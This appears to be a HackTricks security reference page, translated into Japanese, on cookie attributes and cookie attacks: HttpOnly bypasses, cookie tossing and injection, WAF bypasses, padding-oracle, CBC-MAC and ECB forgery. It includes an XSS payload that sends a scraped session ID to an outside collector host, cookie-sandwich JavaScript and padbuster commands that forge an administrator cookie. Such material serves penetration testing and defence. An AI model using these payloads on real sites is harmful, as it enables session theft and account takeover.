Cookies Hacking

Reading time: 26 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

クッキーの属性

Cookies にはユーザーのブラウザでの動作を制御するいくつかの属性が付与されます。以下はこれらの属性を受動的な文体で整理した説明です。

Expires and Max-Age

クッキーの有効期限は Expires 属性で決定されます。逆に、Max-age 属性はクッキーが削除されるまでの秒数を定義します。現代的な慣習を反映するために Max-age を選択することが推奨されます。

Domain

クッキーを受け取るホストは Domain 属性で指定されます。デフォルトでは、これはクッキーを発行したホスト(そのサブドメインは含まない)に設定されます。しかし、Domain 属性が明示的に設定されると、そのサブドメインも含むようになります。サブドメイン間でクッキーを共有する必要がある場合、この Domain 属性の指定は制限が緩く便利です。例えば Domain=mozilla.org と設定すると、developer.mozilla.org のようなサブドメインでもクッキーが利用可能になります。

Path

Path 属性は、要求された URL にそのパスが含まれている場合に Cookie ヘッダが送られるために必要な特定の URL パスを示します。この属性は / 文字をディレクトリ区切り文字として扱い、サブディレクトリでの一致も許可します。

Ordering Rules

同じ名前のクッキーが2つある場合、送信されるクッキーは次のルールに基づいて決定されます:

  • 要求された URL の中で最も長い path にマッチするクッキーが選ばれる。
  • パスが同一の場合は、より最近に設定されたクッキーが選ばれる。

SameSite

  • SameSite 属性は、サードパーティドメインから発生するリクエストでクッキーが送信されるかどうかを決定します。設定は3つあります:
  • Strict: サードパーティのリクエストでクッキーが送信されるのを制限します。
  • Lax: サードパーティのウェブサイトから開始された GET リクエストでクッキーの送信を許可します。
  • None: どのサードパーティドメインからの送信も許可します。

クッキーを設定する際、これらの属性を理解しておくことで、異なるシナリオで期待どおりに動作するようにできます。

Request TypeExample CodeCookies Sent When
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Form GET<form method="GET" action="...">NotSet*, Lax, None
Form POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Image<img src="...">NetSet*, None

Table from Invicti and slightly modified.
SameSite 属性が付与されたクッキーは、ログインセッションが必要な場合の CSRF 攻撃を緩和します。

*注意: Chrome80 (feb/2019) 以降、SameSite 属性を持たないクッキーのデフォルト動作は lax に変更されました** (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
この変更適用後の一時的な挙動として、Chrome では SameSite ポリシーを持たないクッキー最初の2分間は None と扱われ、その後トップレベルのクロスサイト POST リクエストでは Lax として扱われる 点に注意してください。

Cookies Flags

HttpOnly

これはクライアントがクッキーにアクセスするのを防ぎます(例えば document.cookie を介した Javascript からのアクセスなど)。

Bypasses

  • ページがリクエストのレスポンスとしてクッキーを送信している場合(例えば PHPinfo ページなど)、XSS を悪用してそのページにリクエストを送り、レスポンスからクッキーを盗むことが可能です(例は https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/ を参照)。
  • TRACE HTTP リクエストを使用すると、サーバのレスポンスが送信されたクッキーを反映するため、この手法で回避できる可能性があります。この手法は Cross-Site Tracking と呼ばれます。
  • ただし、現代のブラウザは JS から TRACE の送信を許可しないことでこの手法を防いでいます。とはいえ、IE6.0 SP2 のような特定ソフトウェア向けに TRACE の代わりに \r\nTRACE を送る等のバイパスが発見された例もあります。
  • ブラウザの zero/day 脆弱性を悪用する別の方法もあります。
  • Cookie Jar overflow アタックを行うことで HttpOnly クッキーを上書きすることが可能です:

Cookie Jar Overflow

  • これらのクッキーを漏えいさせるために Cookie Smuggling 攻撃を使用することも可能です
  • サーバ側のどこかのエンドポイントが HTTP レスポンス内(例えば HTML コメントやデバッグブロック内)で生のセッション ID をエコーしている場合、XSS gadget を使ってそのエンドポイントを取得し、正規表現で秘密情報を抜き取り、exfiltrate することで HttpOnly を回避できます。例となる XSS ペイロードのパターン:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

リクエストは、通信がセキュアなチャネル(通常は HTTPS)で送信される場合にのみ、HTTP リクエストに cookie を送信します。

Cookies Prefixes

HTTPSで保護されたページからは、__Secure- プレフィックス付きの cookie は secure フラグとともに設定する必要があります。

For cookies prefixed with __Host-, several conditions must be met:

  • secure フラグで設定されている必要があります。
  • HTTPSで保護されたページから発行されている必要があります。
  • domain を指定してはならず、サブドメインへの送信を防ぎます。
  • これらの cookie の path は / に設定されている必要があります。

__Host- プレフィックス付きの cookie はスーパードメインやサブドメインへ送信されることを許可されていない点に注意してください。この制限はアプリケーション cookie の分離に役立ちます。したがって、アプリケーションのすべての cookie に __Host- プレフィックスを使用することは、セキュリティと分離を向上させる良いプラクティスと考えられます。

Overwriting cookies

つまり、__Host- プレフィックス付き cookie の保護の一つは、サブドメインからの上書きを防ぐことです。たとえば Cookie Tossing attacks を防ぎます。トーク Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) では、パーサを騙すことで、サブドメインから __HOST- プレフィックス付き cookie を設定できることが示されています。例えば先頭や先頭と末尾に "=" を追加するなど:

また PHP では、cookie 名の先頭に別の文字を追加すると、それがアンダースコアに置き換えられるため、__HOST- cookie を上書きできることがありました:

Cookies Attacks

カスタム cookie に機密データが含まれている場合は、脆弱である可能性があるため確認してください(特に CTF をプレイしている場合)。

Decoding and Manipulating Cookies

cookie に埋め込まれた機密データは常に精査するべきです。Base64 などでエンコードされた cookie はしばしばデコード可能です。この脆弱性により、攻撃者は cookie の内容を変更し、変更したデータを再エンコードして cookie に戻すことで他のユーザに成りすますことができます。

Session Hijacking

この攻撃はユーザの cookie を窃取し、アプリケーション内のそのアカウントへ不正アクセスするものです。窃取した cookie を使うことで、攻撃者は正規のユーザを偽装できます。

Session Fixation

このシナリオでは、攻撃者が被害者を騙して特定の cookie を使ってログインさせます。もしアプリケーションがログイン時に新しい cookie を発行しない場合、攻撃者は元の cookie を持ったまま被害者になりすますことができます。この手法は、被害者が攻撃者が用意した cookie でログインすることを前提としています。

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

ここでは、攻撃者が被害者に攻撃者のセッション cookie を使わせます。被害者は自分のアカウントにログインしていると信じて、誤って攻撃者のアカウントの文脈で操作を行ってしまいます。

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

cookie に使われる JSON Web Tokens (JWT) も脆弱性を含む可能性があります。潜在的な欠陥やそれを悪用する方法の詳細については、前述の hacking JWT ドキュメントを参照してください。

Cross-Site Request Forgery (CSRF)

この攻撃は、ログイン中のユーザに対して、そのユーザが現在認証されている web アプリケーション上で望まない操作を実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストで自動的に送信される cookie を悪用できます。

Empty Cookies

(詳細はoriginal researchを参照) ブラウザは名前なしの cookie の作成を許可しており、これは以下のような JavaScript で示せます:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

送信される cookie ヘッダーの結果は a=v1; test value; b=v2; です。興味深いことに、空の名前の cookie を設定すると cookie の操作が可能になり、空の cookie を特定の値に設定することで他の cookie を制御できる可能性があります:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

これにより、ブラウザは cookie ヘッダを送信し、すべてのウェブサーバーはそれを名前が a、値が b の cookie として解釈します。

Chrome Bug: Unicode サロゲートコードポイントの問題

Chromeでは、Unicode サロゲートコードポイントが set cookie の一部になっていると、document.cookie が破損し、その後空の文字列を返すようになります:

js
document.cookie = "\ud800=meep"

これにより document.cookie は空文字列を出力し、恒久的な破損を示します。

(詳細はoriginal research を参照してください)Java(Jetty、TomCat、Undertow)やPython(Zope、cherrypy、web.py、aiohttp、bottle、webob)を含むいくつかのWebサーバは、古いRFC2965のサポートのためにcookie文字列を誤処理します。これらは、セミコロン(;)で通常は区切られるべきkey-valueペアを含んでいても、ダブルクォートで囲まれたcookie値を単一の値として読み取ります:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(詳細はoriginal researchを参照) サーバー側、特に Undertow、Zope、および Python の http.cookie.SimpleCookiehttp.cookie.BaseCookie を使っている実装における不適切な Cookie パースは、cookie injection 攻撃の機会を生みます。これらのサーバーは新しい Cookie の開始を正しく区切れず、攻撃者が Cookie を偽装できる余地を残します:

  • Undertow は引用符で囲まれた値の直後にセミコロンなしで新しい cookie を期待します。
  • Zope は次の cookie の解析を始めるためにカンマを探します。
  • Python の cookie クラスはスペース文字で解析を開始します。

この脆弱性は、cookie ベースの CSRF 保護に依存する Web アプリケーションにおいて特に危険です。攻撃者が偽の CSRF トークン cookie を注入できるため、セキュリティ対策を回避される可能性があります。Python の重複する cookie 名の扱い(最後に出現したものが上書きする)によって問題は悪化します。また、不安全なコンテキストでの __Secure-__Host- cookie に関する懸念を引き起こし、バックエンドサーバーに渡された cookie が偽装に脆弱な場合に認可バイパスにつながる可能性もあります。

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

According to this blogpost it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

  • Find a place were an apparent useless cookie is refected in the response
  • Create a cookie called $Version with value 1 (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step)
  • Create the cookie that is reflected with a value that leaves an open double quotes and with a specific path so it’s positioned in the cookie db after the previous one ($Version)
  • Then, the legit cookie will go next in the order
  • Create a dummy cookie that closes the double quotse inside its value

This way the victim cookie gets trapped inside the new cookie version 1 and will get reflected whenever it’s reflected. e.g. from the post:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

前のセクションを参照してください。

Bypassing value analysis with quoted-string encoding

このパースは cookies 内のエスケープされた値をアンエスケープすることを示しており、"\a" は "a" になります。これは WAFS を回避するのに便利です。例えば:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

RFC2109 では、カンマが cookie 値の区切りとして使用できると示されています。また、等号の前後にスペースやタブを追加できることも可能です。したがって、$Version=1; foo=bar, abc = qux のような cookie は "foo":"bar, admin = qux" という cookie を生成するのではなく、foo":"bar""admin":"qux" という cookie を生成します。ここから 2 つの cookie が生成され、admin の前後のスペースが等号から除去されていることに注意してください。

最後に、異なる backdoors が異なる cookie headers で渡された複数の cookie を 1 つの文字列に結合することがあります。例えば:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

例えば、次のように WAF を bypass できる可能性があります:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

追加の脆弱な Cookies チェック

基本チェック

  • cookieloginのたびに同じである。
  • Log outして同じcookieを使ってみる。
  • 同じcookieを使って2台のdevice(またはbrowser)から同じアカウントにlog inしてみる。
  • cookieに情報が含まれていないか確認し、改変してみる
  • ほぼ同じusernameで複数のaccountsを作成し、類似点がないか確認する。
  • 存在する場合は「remember me」オプションを確認して動作を確認する。存在し、脆弱であり得る場合は、他のcookieを使わずに常にremember meのcookieだけを使用する。
  • パスワードを変更した後でも以前のcookieが有効か確認する。

高度な cookies 攻撃

cookieがlog in時に同じ(またはほぼ同じ)ままであれば、おそらくそのcookieはアカウントの何らかのフィールド(おそらくusername)に関連していることを意味する。次にできること:

  • 非常に類似したusernameで多数のaccountsを作成し、アルゴリズムがどのように動作しているかを推測する。
  • bruteforce the usernameを試みる。もしcookieがusernameの認証情報としてのみ機能しているなら、usernameを「Bmin」などにしてアカウントを作成し、cookieの各bitbruteforceできる。試すcookieのうちの1つが「admin」のものになる可能性があるためだ。
  • Padding Oracleを試す(cookieの内容を復号できることがある)。padbusterを使う。

Padding Oracle - Padbuster examples

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster は複数回試行を行い、どの条件がエラー条件(有効でないもの)かを尋ねてきます。

その後、decrypting the cookie を開始します(数分かかることがあります)

attack が正常に実行された場合、任意の文字列を encrypt してみることができます。例えば、encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

この実行により、文字列 user=administrator を含む cookie が正しく暗号化およびエンコードされて取得できます。

CBC-MAC

cookie に値が含まれ、CBC を使って署名されることがあります。この場合、値の整合性は同じ値を用いて CBC で作成された署名になります。IV として null vector を使うことが推奨されているため、この種の整合性検査は脆弱になり得ます。

The attack

  1. username administ の署名を取得する = t
  2. username rator\x00\x00\x00 XOR t の署名を取得する = t'
  3. cookie に値 administrator+t' をセットする(t'(rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 の有効な署名となる)

ECB

If the cookie is encrypted using ECB it could be vulnerable.
cookie が ECB で暗号化されている場合、脆弱である可能性があります。
ログイン時に受け取る cookie は常に同じであるはずです。

How to detect and attack:

  • ほぼ同じデータ(username、password、email など)で 2 つの user を作成し、与えられた cookie 内に何らかのパターンがないか探す
  • Create a user called for example "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
  • パターンが見つかるはずです(使用されている block のサイズに対応)。したがって、大量の "a" がどのように暗号化されるか分かれば、username として "a"*(size of the block)+"admin" を作成できます。そうすれば、cookie から "a" の 1 ブロック分の暗号化パターンを削除でき、username "admin" の cookie を手に入れられます。

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする